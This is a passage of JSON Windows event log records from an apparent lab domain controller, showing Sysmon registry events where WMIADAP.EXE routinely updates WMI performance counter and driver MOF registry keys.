set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Help\r\nDetails: DWORD (0x000063cb)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Last Help","Details":"DWORD (0x000063cb)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Counter\r\nDetails: DWORD (0x00006324)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Counter","Details":"DWORD (0x00006324)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1000,"SourceName":"Microsoft-Windows-LoadPerf","ProviderGuid":"{122EE297-BB47-41AE-B265-1CA8D1886D40}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12117,"ProcessID":4572,"ThreadID":4608,"Channel":"Application","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Performance counters for the WmiApRpl (WmiApRpl) service were loaded successfully. The Record Data in the data section contains the new index values assigned to this service.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Help\r\nDetails: DWORD (0x00006325)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\First Help","Details":"DWORD (0x00006325)","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Object List\r\nDetails: 25380 25386 25396 25406 25426 25470 25480 25518 25524 25540","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\WmiApRpl\\Performance\\Object List","Details":"25380 25386 25396 25406 25426 25470 25480 25518 25524 25540","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteValue\r\nUtcTime: 2020-08-07 11:53:51.214\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:51.214","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\Updating","EventReceivedTime":"2020-08-07 11:53:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\PROVIDERS\\Performance\\Performance Data\r\nDetails: Binary Data","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\PROVIDERS\\Performance\\Performance Data","Details":"Binary Data","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":12,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":12,"OpcodeValue":0,"RecordNumber":4066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry object added or deleted:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: DeleteKey\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE","Category":"Registry object added or deleted (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\system32\\kernelbase.dll[MofResourceName]\r\nDetails: LowDateTime:1098060289,HighDateTime:30805949***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\system32\\kernelbase.dll[MofResourceName]","Details":"LowDateTime:1098060289,HighDateTime:30805949***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\system32\\en-US\\kernelbase.dll.mui[MofResourceName]\r\nDetails: LowDateTime:625866771,HighDateTime:30682635***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\system32\\en-US\\kernelbase.dll.mui[MofResourceName]","Details":"LowDateTime:625866771,HighDateTime:30682635***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\ACPI.sys[ACPIMOFResource]\r\nDetails: LowDateTime:-1594147734,HighDateTime:30671341***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\ACPI.sys[ACPIMOFResource]","Details":"LowDateTime:-1594147734,HighDateTime:30671341***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\en-US\\ACPI.sys.mui[ACPIMOFResource]\r\nDetails: LowDateTime:-592701735,HighDateTime:30543079***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\en-US\\ACPI.sys.mui[ACPIMOFResource]","Details":"LowDateTime:-592701735,HighDateTime:30543079***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\mssmbios.sys[MofResource]\r\nDetails: LowDateTime:2077700573,HighDateTime:30531428***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\mssmbios.sys[MofResource]","Details":"LowDateTime:2077700573,HighDateTime:30531428***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\en-US\\mssmbios.sys.mui[MofResource]\r\nDetails: LowDateTime:-592857982,HighDateTime:30543079***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\en-US\\mssmbios.sys.mui[MofResource]","Details":"LowDateTime:-592857982,HighDateTime:30543079***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\intelppm.sys[PROCESSORWMI]\r\nDetails: LowDateTime:-2024749675,HighDateTime:30736945***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\intelppm.sys[PROCESSORWMI]","Details":"LowDateTime:-2024749675,HighDateTime:30736945***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\en-US\\intelppm.sys.mui[PROCESSORWMI]\r\nDetails: LowDateTime:-592701735,HighDateTime:30543079***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\en-US\\intelppm.sys.mui[PROCESSORWMI]","Details":"LowDateTime:-592701735,HighDateTime:30543079***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\xeniface.sys[XENIFACEMOF]\r\nDetails: LowDateTime:1504655616,HighDateTime:30789954***Binary mof compiled successfully","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\WDM\\DREDGE\\C:\\Windows\\System32\\drivers\\xeniface.sys[XENIFACEMOF]","Details":"LowDateTime:1504655616,HighDateTime:30789954***Binary mof compiled successfully","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\PROVIDERS\\Performance\\Performance Refresh\r\nDetails: DWORD (0x00000000)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\PROVIDERS\\Performance\\Performance Refresh","Details":"DWORD (0x00000000)","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":4077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: Suspicious,ImageBeginWithBackslash\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:53:54.137\r\nProcessGuid: {90617006-40C4-5F2D-0000-001077B50500}\r\nProcessId: 4572\r\nImage: 